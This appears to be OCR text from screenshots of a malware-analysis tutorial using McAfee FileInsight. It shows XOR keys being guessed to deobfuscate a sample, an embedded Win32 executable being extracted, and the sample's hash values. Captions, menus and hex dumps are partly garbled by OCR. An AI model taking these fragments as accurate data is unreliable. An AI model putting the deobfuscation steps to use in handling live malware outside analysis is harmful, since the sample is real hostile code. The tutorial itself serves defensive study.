BN e Bookmarks  |B§ Calculator
Press F1 for help

= =5 m < @

Enter a URL here

Use Internet Explorer Proxy

Enter your proxy as [Server:Port] here =

64b3d533belfelb3bd5escd7adaf... X

oooo9c4az

Output

ED B9 33 46 Re 1F BF
57 22 58 F8 41 85 54
EOQ 7A ZE C5 45 52 B3
C0 56 16 48 62 CA BB
DC DF 44 5F DC €6 65
ES SE 96 &3 AC OE SF
26 BCEe6 10 D7 1C 04
D& AF 34 04 05 06 07
93 91 4C BCFD CA 50
35 87 8¢ 40 F9 45 6B
15 Fe &7 38 OAFE B2
35 BD 73 2C 39 81 53
09 85 F% Ee &D 21 50
E7 €0 39 E5 5D 1C Eé&
1E €2 €7 ODBS 12 TR
75 76 CE 49 49 4R 4B
F5 22 C8 5D 59 5A 5B
1972 53 SF ES RE RD
96 ZDE3 9CE1 31 F3
SEDERF 7T F9 86 74
TR 0543 94 C4 11 DF
96 96 97 EB ZR BF &0
94 FE 18 89 D1 12 EE
F5 A3 21 9F SR 41 21
3R 39 1€ 83 8¢ 84 56
3D 29 F2Z 28 29 19 EB
C3 73 AC D4 6R 6C &C
DDBE 1908 09 55 55
54 F9 73 3C 0D F2 AE
15 DA DB A4 A5 AG AT

2 T

B7 44 &7 22 58 24 46 RS
5352 F7Z2C 58 5E DT RO
BC BD BE F9 5B 35 81 4C
73 B2 3EDS &8 35 40 7C
63 62 61 77 82 91 92 83
EF 66 AB 33 08 05 21 1C
03 A4 3DSS5 F1 19 ED OC
0001 02030CO0DOECOF
98 F9 CA 54 9CF5 CA B¢
2C 45 D1 1A 20 21 22 23
78 1% 36 SE B9 14 32 33
04 5¢ 42 2B 2C 32 1B 88
48 35 ZA SCEAREF €6 17
30 DE 7E E4 6B EE 2A 6F
TDTDTEF4 33 79 SA D1
C7TOE 46 AT F4 &7 42 43
SCDE S2 47 0OF OF 09 80
AC RDAE 17 Al BR1 AZ A3
B4 SE 76 57 B4 17 4D 4C
FC SD 71 FF 94 69 BC 7C
B8 S5 15 CE B4 81 1B 91
R0 C9 E& €4 C9 1E 93 FF
03 0z 01 7C 34 FDAF 31
FFODFD 14 F3 13 F1 35
1F 56 34 54 21 SR 13 BY
1F Feé 1D Ee 13 F3 11 DC
56 3D 6C 57 46 41 72 33
57 50 CD SR BB 6D 26 UB
E2EZE]1 SCD4 1D 4F D1
A0 21 AZ A3 AC AD AFE AF

Sending the whole file to the viewer GUI.
You can move window by dragging bitmap image.
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| 03735
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You can also copy current offset by right-clicking bitmap image.

ohINd R Scripting

Pasting the offset to “Go to” dialog
(it can be opened by hitting Ctrl-g

G
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Enter a URL here =

(]2 1k

Mew Open Close Save View |View as
as Hex

Use Internet Explorer Proxy =

A 3
X
3
>
®
®

Enter your proxy as [Server:Port] here =

Mavigation 64b3d533belfelb3bd5escd7adaf... X

X Supported for HTML, OLE2, PE and Flash. 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 0000000000000000
00003735 | [30 30 30 30 3030 30 30 30 000000000
30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 000000000000000
7D 7D 7D 01 01 01 01 01 01
01 01 01 01 01 01 01 01 00
0101 010101010101 01 M M

oloroLoLolololol o The binary data is appended from here
01 01 01 01 01 01 01 01 01
C9 DF 16 87 9B 99 9A 9B 9F 6F
2C 95 96 97 E8 E9 EA EB EF EO
E4 ES5 EGETFE FO9FAFB FF FO
Values F4FSFeF7CE8COCACE CE 30
CADATCCY9D8 6DD3 16 93 1D | m e

BD Rt Fe A7 SA 46 4D 59 4T 41 ZFMYM@ LAOLL

Byte 5005 44 4218 4B 4F 55 1F 74 : P DBE EQOU TP t a
WORD

DWORD Output
ASCI
Unicode  TIIITTIITITITIIOIIITY

EPQVENRENINY BE Structures [ Decode

Sending the whole file to the viewer GUI.
You can move window by dragging bitmap image.
You can also copy current offset by right-clicking bitmap image.

BN e Bookmarks  |B§ Calculator ohINd R Scripting
Length 1h (1)

Y : . g
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Home Edit Search Plugins

[
|> Operation  Basic

Compression
Crypto
Encoding
Misc

Parsing

il 64b3d533belfelb3bdieScdTadaf.. X
30 30 30 30 30 30:30 30 30 30 30 303030(0000000000000000

Mavigation

# Supported
Search

*r T v v vy v v v

Visualization

Decramental XOR 2tk Guessing XOR keys to deobfuscate

Check for update Incremental XOR

Version info Mull-preserving XOR 30 em bedded files

XOR with next byte
KOR with next byte (reverse) L = )

o e

2 Guess multibyte XOR keys from selected region (the whole file if not selected)
Visual Decrypt 30 30 pased on revealed keys that are XORed with 0x00 Jooooo000000

Visual Encrypt 30 30 3u 3U JU JU IU 3USU U U 3U SU IU SU U juuwuuwd 00000000000
F 3030303030303030:3030303030303030|0000000000000000
3030303030303030:3030303030303030|0000000000000000
3030303030303030i3030303030303030|(0000000000000000
3030303030303030;3030303030303030|0000000000000000
00003734 3030303030303030:3030303030303030|000000000000000C0
3030303030303030:3030303030303030|0000000000000000
3030303030303030i303030303030307D|000000000000C000
JD7D7D 0101 010101:0101 010001010000 . . .
C101010101010101;00FAQ01 000

1010101010101 01:0101 0101 Usiﬁ'mt Is runnlng' please walt"'
c101010101010101!01010101010C10101
c101010101010101/01010101010C10101
C9 DF 16 87 9B 99 9A 9B 98 9D 9E 9F 6F GE 92 93 on
— —— —= 2C 95 96 97 E8 E9 EA EB 'AC ED EE EF E0 E1 E2 E3 |,
L) EE Structures [ Decode F4 ES E6 E7 F8 F9 FA FB FC FD FE FF FO F1 F2 F3
Values FAFSFeFICBCYOCACBCCCDCECF30C1Cc2C3 0

CADATCCY9DB 6DD3 16:FD 65 DF 93 1D FO 86 BB | m e
— BD A6 Fé A7 5A 46 4D 594D 40 OE 4C 41 4F 4C 4C ZFMYM@ LAOLL
Byte 48 50 05 44 42 18 4B 4F 55:1Cc 5450 1F 74 7TE 61 13|P DB KOU TP t a v

WORD
DWQORD
ASCI
Unicode | F27222372202233030320 23

Output

% Values
Press F1 for help

R i - ® CORNOEE A [

= marks | Calculator [=] Cutput [llsc RISl

4:42 PM
87772021




w B2 Filelnsight - Guessed XOR keys* - >

Edit Search Plugins Windows Help

U McAfee

Navigation ! 64b3d533belfeSbibdSeScdTadaf.. X NN E(L YIS

X Supported for HTML, OLEZ, PE and Flash. XOR key: 0x31303£323d3c3b3a393827262524232221202f2e2d2c¢2b2a2528d7d6d5d4d3d2d1d0dEdedddedbdaddicTcbeScdc3c2elelcfoacdeocheaciclfTE6ESF4f3f2f1f0fffefdfcfbfaffiaTebe A
256 bytes pattern occurrence count: 32
OLEZ Compound Document header found at offset 0x231b0.
ZIP found at offset 0x2a302 size 3087 bytes.
Added bookmarks to the search hits.

HOR key: 0xd3d2dld0dfdedddcdbdadSd8cicecScd4c3cl2eclclcfcecdocchbecacc8fTEefSf4f3f2f1f0fffefdfcfhfafSf8eTetebedalelelelefecedecebeas9e89796955493592915905£929d%<c5%052959488
256 bytes pattern cccurrence count: 22
Win32 executable found at offset 0x37b0 size 129536 bytes.

Win32 tabl f d at ffset O0x10258 i 73216 bvt . =
Rin32 grecurable found At offest 0x10259 size vees Guessed XOR keys and found files

HOR key: 0x30
256 bytes pattern occurrence count: 13

HOR key: 0Ox4eg
256 bytes pattern occurrence count: 9

HOR key: OxcecfclclcZc3cidcheteTdid%dadbdedddedfdidid2d3d4d5d6d728292a2b2c2d2e2f202122232425262738393a3b323d3e3£303132333435363708050a0b0c0d00£000102030405060718191
256 bytes pattern occurrence count: 2

HOR key: 0OxZ2fa75abdabd280e5db%a38aced4dfdcccleddc59946df4474c747359d7c090a0bel76fe33c4£2387£04053d5£0£f26a50597d71e2485bel21314clbac7ale9¢atbactdeeefa®l12925bal98dels5s
256 bytes pattern occurrence count: 1

EPQVENRENINY BE Structures [ Decode
XOR key: 0xd3d2dld0abbfbffldbdad®d8aZbealeac3ciZclclaZalaesicbhbecacic8bfalb4a4f3blbd4alackh3bibfifbfa®adie77839d81cdie8ci3efeceddbebbe9a8dfbffd3bdfdfdfecfdflddcleffefefldea

e i 256 bytes pattern occurrence count: 1

Byte lrow- NwhOG?EG~CARORERAR? 490 TIACIFRAARA G~ hhT2aAN? 24471 4ATGa A I Mo aN8ATTIAANALARE T T FafdFfradfFa2anT1 84ANA 2N~ N hFfal 2N21~2alfE0ahaaT~4d TECE~ARGAARA ~A 21 8hohi0ad b1 20870627 ¥
WORD

DWORD Output

ASCI

Unicode

Top ten XOR keys guessed from the whole file are shown in the new "Guessed XOR keys" tab.
Please select the whole file and use these XOR keys in the Decode tabk to decode the file.

Elapsed time: 2.584000 (sec)

BN e Bookmarks  |B§ Calculator SRl B Scripting

| s

442 PM
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v B2 Filelnsight - Guessed XOR keys* - b4

Plugins

|

-

] McAfee

Compression ' Bookmark Copy selected region (the whele file if not selected) to a new file
Crypto L4 Cut binary to clipboard
‘ FINgINS  Encoding * Copy binary to clipboard
Decode Misc L Paste binary from clipboard  SESSEEREE Guessed XOR keys® X 4 b - X
Method X Parsing *|  Deletebefore 0x31303f3e3d3c3b3a393627262524232221202f2e2d2c2b222928d7d6d5d4d3d2d1d0dfdedddedbdad9d8cTcéeScdclclelclcfcecdeccheacicBfT1f6E5F4F3f2Ff1f0fffefdfcfbfaf9fieTete A
Key £ ngh . : qdﬁejﬁr s pattern occurrence count: 32
ig;ﬂaﬂmn R Etmt pound Document header found at offset 0x231b0.
Check for update e d at offset 0x2a302 sizg 3087 bytes.
o ) okmarks to the search hits.
Versicn info Swap nibbles

Swap two bytes

To upper case

Oxd3d2dld0dfdedddcdbdad9d8cTcecScdcicl2eclolcfcecdecocchecacScBEfTfefof4f3f2f1f0fffefdfcfbfaf9fBeletaebedeldalelelefecedecebeac8e2897965594939291909£529d925092959988
s pattern occurrence ccount: 22

ecutable found at offset 0x37b0 size 129536 bytes.
ecutable found at offset 0x10258 size 73216 bytes.
Added bookmarks to the search hits.

To lower caze

Swap case

HOR key: 0x30

256 bytes pattern occurrence count: 13 EXtraCting this XOR key aS binary data tO
XOR key: 0x6 see what values are contained in the key

256 bytes pattern occurrence count: 9

XOFR key: Oxcecfclclclc3cidcScecTds d9dadbdcd<s%ﬁ[pt14§dmﬁﬁiﬁ§i2p'éiﬁgé W¥.{%S262T38393a3b3 c3d3e3£30313233343536370805%0a0b0c0d0e0£000102030405060718191

256 bytes pattern occurrence count: 2

HCOR key: 0x2Z2fa75abdabd280e5db%a38aced4dfdcccl8ed9c59946df4474c747359d7c090a0bel76fe33c4£2397£04053d5£0£f26a50597d71ee485bel21314clbac7alie9¢atbactdecefa’12925balf98delss
256 bytes pattern occurrence count: 1

B® Navigation BE Structures JIJES
: XOR key: 0xd3d2dld0abbfbffldbdad9d8aZbealeac3ciZclclaZalaeelicbhbecacic8bfalb4ad4f3blbd4alach3b2bffbfa%adie7839d81cd8e8c83efeceddbebbe9a8dfbffd3bdfdfdfecfdflddcleffefefldea
S 256 bytes pattern occurrence count: 1

YNE law: NwE0250-5hAd30hEhA747572A57 FIEARAG~hT2adN?2 2442147623642 MhaaN83A7TIN~NAGNRAT1 TFafdfradFa2anT1 84N43N~2Mhfal a1 ~%afbbahaa T4 IEEEARGAAA ~hA21 AhahGoRE1RGAaTG2T Y
£ >

Byte
WORD
DWORD
ASCI

Unicode =

Output

% Values | marks | Calculator [=] Cutput [llsc RISl
Press F1 for help Ln8 Co Len i1-—1| INS
£:44 PM
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U |+ Filelnsight - New file 0* — b4

Home Edit e
I
1 Oper  Basic v
Compression L4

Crypto
© [eosng >

Misc

Parsing

Decode * Hex text to binary data

Encode * Decimal text to binary data 8 CR —_ -
N S S8 Convert hex text of selected region into binary data

63 6

Decode
Methaod
Key

Octal text to binary data

ac9cBfT7f6f5 A
M fO0fffefd
HffeTetbtel
elefecead
HeB8979695

Converting from hex text
to binary data 198070685

o o W v L ) R R o @ 1808ft8es8d
38 62 38 61 38 3938 38 62 37 62 36 62 35(8cB8bBaB988b7b6EbS
62 33 62 32 62 31:62 30 62 66 62 65 62 64|b4b3b2blb0bfhebd
62 62 62 61 62 39:62 38 61 37 61 36 61 35| bchbbbab9b8aT7aéas
61 33 61 32 61 31:61 30 61 66 61 65 61 64{|{la4a3a2alalafaecad
61 62 61 61 61 39:61 38 35 37 35 36 35 35i|acabaaa%af575655
35 33 35 32 35 3135 30 35 66 35 65 35 64/[54535251505£f5e54d
35 62 35 61 35 3935 38 34 37 34 36 34 35| 5c5b5a59584 74645
34 33 34 32 3431:3430346634653464(4443424140454e4d
34 62 34 61 34 3934 38 37 37 37 36 37 35|4c4b4ad948777675
37 3337323731:3730376637653764(74737271707£7e7d
37 62 37 61 37 39:37 38 36 37 36 36 36 35| 7cT7TbTal97867T6E665 .
36 33 36 32 36 31 363036663 . € e e
36 62 36 61 36 39 36 38 31 37 3S§'ﬁ E%a@@?@@ﬁﬂ%e ﬁlease Walt...
313331323131:3130316631653164(14131211101Ff1eld
31 62 3161 31 39:31 38 30 37 30 3630 35|1clblal®l1B8070605
30 333032 3031:30303066230653064(04030201000£0e0d
30 62 30 61 30 39:30 38 33 37 33 36 33 35|0c0b0a0%08373635
333333323331:33303366233653364(34333231303£3e3d
33 62 3361 3339133 38 323732 3632 35i3c3b3a3938272625
32 3332323231i3230326632653264(24232221202f2e2d
32 62 32 61 32 3932 38 64 37 64 36 64 35i(i2c2b2a2928d7d6ds

[ 8 66 oh'e] o oo

Search ple 0xAS. Binary text to binary data

Visualization Custom basel6 decode
XOR
Check for update Custom base38 decode

Wersion info Customn basefd decode

* ¥ v v ¥

Customn base32 decode

Custom based3 decode
Protobuf decode
From quoted printable

{1 =S Y - S Y Sy 1S Sy 1 I Sy 'S

Unicode unescape
URL decode

(]

ol
61
35
35
34
34
37
37
36
36
31
31
30
30
33
Values 33
32
32

Lo oMo om W wWom WM L
Y Y SO Y QY-S Y Y S U Y S T S LR 8

s3]
(]

B® Navigation BE Structures JIJES

Ly L
[T W T =

o
L

43

Byte
WORD 30768
DWORD BR2222384

ASCH Oxd3d2d1d0dfdedddcdbg
Unicode FIFIIIIIIIIIIIIIIIIIIIIIY

poooozol

Output

BN e Bookmarks B Calculator [=] Cutput [llsc RISl
Press F1 for help Off (0) Length 202h (314) | o
£:44 PM

e sl - ® o ROl ®AD o U




|+ Operations

Methaod  Xor

Key Enter key here, for example 0xAg,

Edit Search

Select area to decode

Plugins Windows Help

64b3d333belfedb3bd5eScdVadaf...

Guessed XOR keys® X

DF DE DD DC
CF CE CD CC
FF FE FD FC
EF EE EB EC
9F SE 39D 8C
8F BE 8D 8C
BF BE BD BC
AF AE AD AC
SF 5E 5D 5C
4F 4E 4D 4C
TFIETDIC
&F 6E 6D &C
1F 1E 1D 1C
OF OE OD OC
3F 3E 3D 3C
2F 2E 2D 2C

DE DA D9 D8
CB CACH CB
FE FA F9 F8
EB EAES E8
9B SA 399 58
8B 8A 89 88
BE BA B9 BE
AB AA A9 AB
5B S5A 59 58
4B 4A 49 48
TB 1A 79 78
6B 6A 69 68
1B 1A 19 18
OB OR 09 08
3B 3R 39 38
2B Zn 29 28

cC7Cec5c4
F7 F6 F5 F4
E7TE6 ES E4
97 96 95 54
87 86 85 84
B7 B6 BS B4
AT A6 AS A4
57 56 55 54
47 46 45 44
77767574
67 66 65 64
1716 15 14
07 06 05 04
37 36 35 34
27 26 25 24
D7 D& DS D4

Filelnsight - Qutput of Hex text to binary data®

WETRTEEE S Output of Hex text to binary data® X

WVUT
SRCQP_"]\[EZYXGFED
CEAEONMLEJIHwvUt
srqp | {zyxgfed
cba*onmlkjih

7654
32102>=<;:98"&%5
A S N

XOR key (256 bytes)

B® MNavigation BE Structures JRIJNESL

Values q

Byte 211

WORD 53971

DWQORD 3503411923 Output
ASCI

Unicode

Converted hex text from offset 0x0 to 0x201 (514 bytes) into binary data (non-hex characters are skipped).
2dded a bookmark to converted region.

BN e Bookmarks  |B§ Calculator ohINd R Scripting

4:44 PM
8/7/2021
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w B2 Filelnsight - Guessed XOR keys* - >

Home Edit Search Plugins Windows Help

|+ Operations

Decode [ZLEL RN RN TSI PEL e Guessed XOR keys®™ X MNewfile 0 > Output of Hex text to binary data* X
Method | Xor F2 84 BB A7 B2 F7 07 19 1c 1D 1D OF EE ES - H
23222120212€2d2c2020292847 d6 0504 197 96 24 2F 26 27 69 6C 53 4F 5A 7B 5F 52 /e'8til { 1 e SeIeCtlng the WhOIe flle
Select area tp decode 32 23 34 35 36 60 6E 25 48 62 6D TA 6D 64i|i2 # “gi ] P
\6C 77 2A 3D 06 F3 6B 1B 1C 1D 1E 1F 10 11i|ilw* ! (hlttll‘lg Ctrl'a keY)

121314151617 6A 6B 6C 6D 6E 6F 60 61
162 63 64 65 66 67 72 7B 7C 7D 7E 7F 70 71i|bc gxyz{ pq
: 76 77 47 4B 4C 4D 4E 4F 40 41j|rstuvwHIJELMNOG@A

46 47 5A 5B 5C 5D 5E 5F 50 51i{BCDEFGXYZ[\]"_POQ

2. Pasting the XOR key (text) 56 57 AR AB AC AD AE AF A0 ALl|RSTUVW

. " " Ag AT BA EB BC BD BE BF B0 E1
Bée B7 8A 8B BC 8D 8E 8F 80 81
3' CIICk DeCOde 8e 87 S9A 9B 9C 9D 9E 9F 90 91
96 97 EAEEB EC EDEE EFEOE1
ES E& E7 FA FB FC FD FE FF FO F1
F5 Fé F7 CACBCCCDCECFCOCI
C5 Ceé C7 DA DB DC DD DE DF DO D1
DS D& D7 2ZA 2B 2ZC 2D 2E 2F 20 21 () *+,—./
25 26 27 3A 3B 3C 3D 3E 3F 30 31 = 89::<=>201
35 36 37 0Oa OB OC 0D OE OF 00 01 7
0506 07 18 1 l1a1B1Cc 1D 1E1F 10 11
151617 €A 6B 6C 6D 6E 6F &0 61 ta
65 66 67 TAIBICTD TE 7F 70 71li|bcdefgxyz{ s}
7576 77 43 4B 4C 4D 4E 4F 40 41li|rstuvwHIJELMNOG@A
45 4¢ 47 SASB SC 5D SE S5F 50 51|BCDEFGXYZ[MN] ™ PQ
55 56 57 AR AB AC AD AE AF RO AL RSTUVW
RS RE AT BA EB BC BD BE BF B0 B1
Values BES B& B7 8A 8B BC 8D 8E 8F 80 81
85 8e 87 S9A 9B 9C 9D 9E 9F 90 91
95 9g 97 EAEBEC EDEEEF EOE]

(]

B® MNavigation BE Structures JRIJNESL

Byte 123

WORD 23675
DWQORD 1953651835
ASCI

Unicode

Converted hex text from offset 0x0 to 0x201 (514 bytes) into binary data (non-hex characters are skipped).
2dded a bookmark to converted region.

Note:

If you use XOR function with multibyte XOR key, the key has to be entered
as little endian (for example: 0x44332211 for an XOR key “11 22 33 44").

BN e Bookmarks  |B§ Calculator By R Scripting

Offset Oh (0) Length 2E3BOF

*9 ; CARMODTO®E A O




v B2 Filelnsight - Guessed XOR keys* - b4

Plugins Windows Help

-[» Operations l -
T cnoro

Compressicn 4 Bookmark c lected region (the whole file if not selected) t fil
l : Crypto N Cut binary to clipboard opy selected region (the whole file if not selected) to a new file
Flugins Encoding 4 Copy binary to clipbeard
Decode Misc 4 Paste binary from clipboard ~ pedVadaf... X EEEEL DA - O ER (T LV S ol T binary data* X
Methodfer  Parsing *|  Delete before A4 A5 A6 A7 D8 D9 DA DB!DC DD DE DF DO D1 D2 D3
Key  10xd  Search Y| Deleteafter D4 D5 D6 D7 C8 C9 CA CB!CC CD CE CF C0 C1 C2 C3
Visualization  ¥|  Fill C4 C5C6 CT F8 F9 FAFBIFC FD FE FF F0O Fl1 F2 F3
XOR B Invert F4 F5 Fe F7 EG8 ES EA EEB EC ED EE EF E0O E1 E2 E3
Check for update Reverse order E4 ESEeE7 18 19 1A 1B;1C1D1E1F 1011 1213
Version info Swap nibbles 1415161708 0S OACOB:0C OD OE OF 00 01 02 03
Swap two bytes 04 05 06 07 38 39 3A 3B:3C 3D 3E 3F 30 31 32 33 89:;<=>720123
To upper case 34 3536372829 2A2Bi2C2D2E 2F 20 21 22 234567 () *+,-./ '"#
To lower case 24 252627 58 59 5A5BSCS5D5SESF50515253|5%&"XYZ[\]~_PQRS
Swap case 54 5556 57 48 49 4A 4B ;4C 4D 4E 4F 40 41 42 0E(TUVWHIJELMNOR@AB
09 08 0B 76 49 48 4B 4A'4D 4C 4F 4F 41 40 42 43 vIHEJMLOOARGBC
45 44 47 46 59 58 5B SAS5CAT SFSFS50E3 5253 |EDGFYX[Z\ _ P RS

5554 5756 A9 A8 ABAAADACAFAE Al AQ A3 AZ |UTWV
AS R4 AT A6 B9 BE BB BABD BC BF BEE B1 B0 B3 B2
ES BE4 B7 Bb 89 88 8B 8A ;8D 8C 8F 8E 81 80 83 82
000037B0 4D SA 90 00 03 00 00 00 :04 00 00 00 FF FF 00 O0i(MZ

ES 00 00 00 00 OO OO0 OO0:40 00 00 OO OO0 OO 00 0O @
00 00 OO0 OO0 OO OO0 00 0000 OO0 OO0 OO 00 00 00 0O
00 00 00 OO0 OO0 OO0 00 0000 OO0 OO0 OO0 FO OO 00 0O

L ] L ] I L ]

0E 1F BA OF 00 B4 09 CcD'!21 B8 01 4C rés?h'm ! nn ng’. p;lease Walt...
T
T

69 73 20 70 72 6F &7 7261 6D 20 63
T4 20 62 65 20 72 75 6E ! 20 69 6E 20 44 4F 53 20
6D 6F €4 65 ZE OD OD OA 24 00 OO0 OO0 00 00 00 0O

SE 3D DB 23 DA SC B6 60;DA 5C Bé 60 DA 5C B6 60 A T
 Noviosfion . B Stoctires 49 12 2E €0 DB 5C B6 60 :B5 2A 28 60 CB 5C B6 60T . WA
= Novgstion B8 strocures LIS BS 22 1 60 BF SCB6 60 D3 24 25 €0 DFSCBE 60| * © \ ° 5% Malware executable file is deobfuscated
DA SCEB7 60 80 5CBe 60:B5 2A 1D €0 C4 5C Be &0 AT S
BES5 2A 2C 60 DB 5CBe 60 B5 2R 2B 60 DB 5CB6E 60 *, > N\ =~ #*+°
52 69 €3 68 DA SCBG €0;00 00 00 00 OO0 OO0 00 QOCQi{Rich

(] 0x37b0 Win32 executable J° 0~ &IiEEEn- 00 00 OO0 OO0 OO0 OO OO0 O0O0;00 00 00O0COO00O0O0O0O0O0OD

[ 0%10258 Win32 executable 1'-sqrspuvwsl)...
Output
[ 0%231b0 OLE2 Compound Document 2, -GV -2

[ 0%2a302 ZIP d~53+0000!00...

£ Values MelbElucus BE Calculator [ITG0e [ Scripting
Press F1 for help = h (14236) Length 1F

= 5 ; ® (g ROl E A @

4:45 PM
87772021




v B2 Filelnsight - New file 1* - >

Edit Search Plugins

1
-[» Operations Basic

Compressicn
h_ Plugins

Crypto
Encoding
Jeceds B croote code [feSb3bdSeScdadaf.. X G XOR keys Newfile0* X  Output of Hex text to binary data* X [NCHETIRENEE

Parsing File comparison ——
'-"-".".' 4D 5A 90 00 03 00 00 00!04 00 00 00 FF FF 00 00| M2z .
BE& 00 Calculate MD3, SHA1, SHA256, ssdeep, imphash, impfuzzy hash values of @
00 [ selected region (the whole file if not selected)

- v v v

Method  Xor

3

Oxd Search L4
Visualization 4 Send to (CLI)

3

Key

XOR Send to (GUI
Check for odat end to (GU) 00 00 00 00 00 00 00 0000 00 00 00 FO 00 00 00

,U,E.c ?rf”p” OE 1F BA OF 00 B4 09 CD!21 B8 01 4C CD 21 54 68 I L ITh
ErEon e 69 73 20 70 72 6F 67 72 .61 €D 20 63 61 6E 6E 6F|is program canno

74 20 62 6520 72 75 6E!20 69 6E 20 44 4F 53 20|t be run in DOS
6D 6F 64 65 2ZEOD OD OA:i24 00 00 OO0 00 00 00 00 mode. g

SE 3D D8 33 DASCEB6 60iDASCBE GO DASCRBERD| = 3 % ~ N ~ \ °
49 12 2ZE 60 DB 5CBe 60!B5S2A 28 60CBSCRBEe6O(|I .~ N ~ * (> \ °
BS 2R 1C60BF S5CBE 60!D3 2425 60DFSCBe 6O * ™~ N * 5% \ °
DASCB7 60 8B05CBe 60 B52A1D60CA45CRBEeERO| N ~ N > *= =~ ¥} °
BS 2R 2C 60 DB SCBE 60 BS2A2B GO DBSCRBEe 6O *, N ~ *4> \ °
52 69 63 68 DA S5C B6 €0;00 00 00 00 00 00 00 00 |(Rich N\ °

00 00 00 00 00 00 00 00:00 00 00 00 00 00 00 00
50 45 00 00 4C 01 05 00!2C A0 62 4F 00 00 00 00 |PE L , bo
00 00 00 00 E0 00 02 01:0B 01 OA 00 00 90 00 00
00 66 01 00 00 00 00 00:14 18 00 00 00 10 00 00| £
00 20 00 00 00 00 40 0000 10 00 00 00 02 00 00 _ e . .

05 00 01 00 00 00 00 0005 00 01 00 063

00 40 02 00 00 04 00 00!5F 6E 02 00 0§$ﬁmt I§ runn_lnng, Please wait...
00 00 10 00 00 10 00 00:00 00 10 00 00 10 00 00

00 00 00 00 10 00 00 00:00 00 00 00 00 00 00 00
F4 BD 00 00 3C 00 00 00:00 00 01 00 04 20 01 00 <
00 00 00 00 00 00 00 00:00 00 00 00 00 00 00 00
00 30 02 00 A8 07 00 0000 00 00 00 00 00 00 00| O
00 00 00 00 00 00 00 00:00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 :BO BA 00 00 40 00 00 00 @
00 00 00 00 00 00 00 0000 AD 00 00 44 01 00 00 D
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00

B® Navigation BE Structures JIJES

Output

<

£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]

Press F1 for help

4:45 PM
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w B2 Filelnsight - New file 1* = >

Edit Search Plugins Windows Help

|+ Operations

33belfelblbdSeicd7adaf.. X Guessed XOR keys® X Mewfile0* X Output of Hex text to binary data® > VTR i

Method | Xor 4D 52 90 00 04 00 00
Key Oxd3d2d1d0dfdedddcdbdad9d3cTcbed B8 00 00 00 40 00 00
Select area to decode 00 00 00 00 a0 00 0o
00000000 00 00 00
0E 1F BA OE 21 B8 01 . ) ! L !Th
69 73 2070 &l &D 20 . is program canno
74 20 €2 €5 20 €9 eE t be run in DOS
&eD 6F 4 65 24 00 00 mode .
9E 3D D8 33 DA SC Be
49 12 2ZE &0 BS 2R 28
BS 2R 1C &0 D3 24 25
DA SCB7 &0 BS 2R 1D
BS 2R 2C &0 BS 2R 2B
52 69 63 68 00 00 00
00 00 0000 00 00 00
50 45 00 00 ] 2C RD 62
00 00 0000 0B 01 OA
00 &6 01 00 14 15 00
00 20 00 00 00 10 00
05 00 01 00 05 00 01
00 40 02 00 S5F GE 02
00 00 10 00 00 00 10
00 00 00 00 00 00 00
F4 BD 00 00 00 00 01
00 00 0000 00 00 00
00 3002 00 00 00 00
00000000 00 00 00
00000000 BO BR OO
00000000 00 20 00
00000000 00 00 00

\
\
\
\
\
\

B® MNavigation BE Structures JRIJNESL

Output

Hash wvalues of the whole file:

CRC3Z2: 4448429z .
MD5: 001952e71b4£f19ebd18a060a5615£530 HaSh \lalueS Of the flle
SHAl: b47%E8677d0d52a%981416k3232d61aZcedbd313.5

SHAZ56: a83784cbhbd4c986d73a6£68922310e8ab5aldc%eBadbedaaedfBaa38962655245

ssdeep: 3072:0e5amplVENM4kRZxTMTWwgEBAMOWE SupZtEP3pz9 : EmpGvpM4 2MOw3F7

imphash: 0e7e353de01lba%ad87h5ddlcécabcdbl

impfuzzy: 24:iwscOovDtUELTcTDkz8Rnlyvps/J3I3T4Z2jCjMIZ/ 3ub0+W: gStResIEp78cwNECHN

£ Values melbrlucus B Calculator By R Scripting

o : ot 4:46 PM
== ET H C =E " \' [']'I-'I EI e A @ 8/7/2021




v B2 Filelnsight - New file 1* - >

Plugins

|
-[» Operations Basic

Compression
Crypto
l Plugins Encoding . .
Jecere s R— d7a ParSIng file structure ... - [T
Method |Xor m- Binwalk scan 4D . .
Key Oxdi  Search » Disassemble of the flle

5 Visualization L4 File type Al

- v w v ¥

XOR L4 Find PE file oo oD U0 00D 000D U0 D0, 0000 00D D0 FO OD QOO 0O

Check for update UE lEParsefile structure of selected region ©CD 21 54 69 ! L !Th

pEsLn ST 69 72 the whole file if not selected) with Kaitai Struct) 61 6E 6E 6F |is program canno
Strings 74 20 62 65 20 72 75 6E'20 69 6E 20 44 4F 53 20|t be run in DOS

6D 6F 64 65 2ZEOD OD OA:i24 00 00 OO0 00 00 00 00 mode. g

SE 3D D8 33 DASCEB6 60iDASCBE GO DASCRBERD| = 3 % ~ N ~ \ °
49 12 2ZE 60 DB 5CBe 60!B5S2A 28 60CBSCRBEe6O(|I .~ N ~ * (> \ °
BS 2R 1C60BF S5CBE 60!D3 2425 60DFSCBe 6O * ™~ N * 5% \ °
DASCB7 60 8B05CBe 60 B52A1D60CA45CRBEeERO| N ~ N > *= =~ ¥} °
BS 2R 2C 60 DB SCBE 60 BS2A2B GO DBSCRBEe 6O *, N ~ *4> \ °
52 69 63 68 DA S5C B6 €0;00 00 00 00 00 00 00 00 |(Rich N\ °

00 00 00 00 00 00 00 00:00 00 00 00 00 00 00 00
50 45 00 00 4C 01 05 00!2C A0 62 4F 00 00 00 00 |PE L , bo
00 00 00 00 E0 00 02 01:0B 01 OA 00 00 90 00 00
00 66 01 00 00 00 00 00:14 18 00 00 00 10 00 00| £
00 20 00 00 00 00 40 0000 10 00 00 00 02 00 00 _ e . .

05 00 01 00 00 00 00 0005 00 01 00 063

00 40 02 00 00 04 00 00!5F 6E 02 00 0§$ﬁmt I§ runn_lnng, Please wait...
